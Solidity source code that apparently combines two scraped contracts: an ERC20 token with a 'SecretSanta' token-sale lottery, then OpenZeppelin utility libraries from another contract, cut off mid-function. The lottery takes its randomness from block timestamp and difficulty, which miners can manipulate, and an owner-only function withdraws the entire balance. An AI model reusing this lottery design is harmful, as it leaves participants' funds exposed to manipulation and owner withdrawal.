_approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev token contract, including: * * - Preminted initial supply * */ contract SecretSantaERC20 is ERC20 { /** * @dev Contract variables. */ string private _name; string private _symbol; uint256 private _initialSupply = 50000000; /** * @dev Constructor that gives dev all of existing tokens. */ constructor ( string memory name_, string memory symbol_ ) ERC20(name_, symbol_) { _name = name_; _symbol = symbol_; _mint(msg.sender, _initialSupply); } } contract SecretSantaDEX { event Bought(uint256 amount); event WinnerAnnounced(address winner, uint256 amountEth); address private _dev; uint256 public _price = 0.04 ether; address[] private lotteryBag; uint256 private numEntries; SecretSantaERC20 public token; constructor(address _tokenAddress) public { _dev = msg.sender; token = SecretSantaERC20(_tokenAddress); } function buyTokens(uint256 amount) payable public { require(amount <= 200, "You can only buy 200 tokens at a time"); uint256 ethPaid = msg.value; uint256 dexBalance = token.balanceOf(address(this)); require(ethPaid >= _price * amount, "Insufficient ether"); require(amount <= dexBalance, "Not enough tokens in the reserve"); address sender = msg.sender; token.transfer(sender, amount); for (uint256 i; i < amount; i++) { lotteryBag.push(sender); } numEntries += amount; emit Bought(amount); } function announceWinners() public _devOnly { uint256 random = uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % numEntries); uint256 random2 = (random * 7) % numEntries; address winner = lotteryBag[random]; address winner2 = lotteryBag[random2]; uint256 _balance = address(this).balance; uint256 winnings = _balance/5; uint256 winnings2 = _balance/20; address payable winnerAddr = payable(winner); address payable winner2Addr = payable(winner2); winnerAddr.transfer(winnings); winner2Addr.transfer(winnings2); emit WinnerAnnounced(winner, winnings); emit WinnerAnnounced(winner2, winnings2); } function announceRaffleWinner() public _devOnly { uint256 random = uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % numEntries); address winner = lotteryBag[random]; emit WinnerAnnounced(winner, 0); } function setPrice(uint256 _newPrice) public _devOnly { _price = _newPrice; } function getPrice() public view returns (uint256) { return _price; } function getTicketBag() public view returns (address[] memory) { return lotteryBag; } function getNumEntries() public view returns (uint256) { return numEntries; } function withdrawAll() public _devOnly { address payable _to = payable(_dev); uint256 _balance = address(this).balance; _to.transfer(_balance); } /** * @dev modifier for Dev only operations. */ modifier _devOnly() { require(msg.sender == _dev); _; } }

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/** *Submitted for verification at Etherscan.io on 2021-09-08 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.6; // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/[email protected]/EnumerableMap /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // Part: OpenZeppelin/[email protected]/EnumerableSet /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Part: OpenZeppelin/[email protected]/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/[email protected]/IERC721Receiver /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal 